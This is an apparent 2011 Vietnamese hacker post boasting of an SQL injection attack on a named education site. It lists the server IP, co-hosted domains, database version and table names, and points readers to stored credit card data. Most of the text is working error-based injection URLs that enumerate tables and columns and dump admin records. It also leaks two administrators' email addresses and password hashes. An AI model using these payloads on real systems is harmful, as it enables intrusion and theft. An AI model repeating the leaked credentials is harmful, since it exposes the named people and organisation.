Attack Icare

*********************************
*Vittim : http://icare.com.vn                       *
*Attack : TrungTrucT2 (XGR ; MMD) *
*Error  : SQL                                           *
*********************************
Time   : Ho Chi Minh ngay 18 thang 8  nam 2011
To     : Gui cho cac tinh yeu cua toi (XGR ; MMD)
Chu De : Tan cong website : http://icare.com.vn/?php=news&id=%27

P/S: Thank ***w0rm va Jin** da giup do mot phan cho video nay (vi ly do ky thuat nen ko show het ten 2 nhan vat)
Tinh trang : da lien he admin fix loi

Http://hackingvn.blogspot.com
----------------------------------------
==> Site nay truy van nhieu ko duoc, nen cu load hoai vi vay toi lam qua luon show hinh cho ACE thay!
----------------------------------------
So nha  : 222.255.237.86
:icare.com.vn
:icare.vn
:ispace.edu.vn
:tuyensinh.ispace.edu.vn
:fit.ispace.edu.vn
:fft.ispace.edu.vn
:ilearning.ispace.edu.vn
:diendancntt.vn
:honglam.edu.vn
:istudent.vn
:istc.vn

Version : '5.0.20-nt'
User    : 'icarewebmaster@localhost'
Database: 'icare'
----------------------------------------
Tables:

ica_vn
ica_useronline
ica_user get cai nay :D
ica_sanpham
ica_qa_topic
ica_qa_question
ica_qa_answer
ica_order   <== o day cung co CC, ai thich get di :D
ica_nhomsanpham
ica_nhanhieu
ica_loaisanpham
ica_link
ica_info_topic
ica_info_cat
ica_info
ica_even?
ica_download_topic
ica_download
ica_country
ica_banner
ica_afvertising
ica_access_counter
----------------------------------------
ica_user ==> fulname|permit|usrtype|pwd|email|user_id

usrtype|email|pwd
admin|nghianx@ispace.edu.vn|c77c94c20edf86a105433f4bc671d348
admin|linhnph@ispace.edu.vn|7debeb5f14dbc228cd5bcff906b9019d
=========================================================
Lệnh truy vấn :


http://icare.com.vn/?php=news&id=(select+*+from+(select+name_const(version(),1),name_const(version(),1))a)
http://icare.com.vn/?php=news&id=(select+*+from+(select+name_const(user(),1),name_const(user(),1))a)
http://icare.com.vn/?php=news&id=(select+*+from+(select+name_const(database(),1),name_const(database(),1))a)

Get table_name:
http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1),0))a+join+(select+name_const((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1),0))b)c)
==> thay limit 1,1 = 19,1 để lấy table ica_user hoặc muốn xem hết table thì cứ việc thay limit
http://icare.com.vn/?php=news&id=%28select*from+%28select*from%28select+name_const%28%28select+concat%28table_name%29+from+information_schema.tables+where+table_schema=database%28%29+limit+19,1%29,0%29%29a+join+%28select+name_const%28%28select+concat%28table_name%29+from+information_schema.tables+where+table_schema=database%28%29+limit+19,1%29,0%29%29b%29c%29
==>table_name:  ica_user

Chuyển ica_user thành mã hex ica_user <=> 6963615f75736572 , xem bên trong của ica_user là gì ?
http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(column_name)+from+information_schema.columns+where+table_name=(0x6963615f75736572)+limit+0,1),0))a+join+(select+name_const((select+concat(column_name)+from+information_schema.columns+where+table_name=(0x6963615f75736572)+limit+19,1),0))b)c)
==>usrtype,email,pwd

Thông tin admin:
http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+0,1),0))a+join+(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+0,1),0))b)c)
==>nghianx@ispace.edu.vn/c77c94c20edf86b105433f4bc671d348

http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+1,1),0))a+join+(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+1,1),0))b)c)

==>linhnph@ispace.edu.vn/7debeb5f14dbc228cd5bcff906b9019d

Hết phim!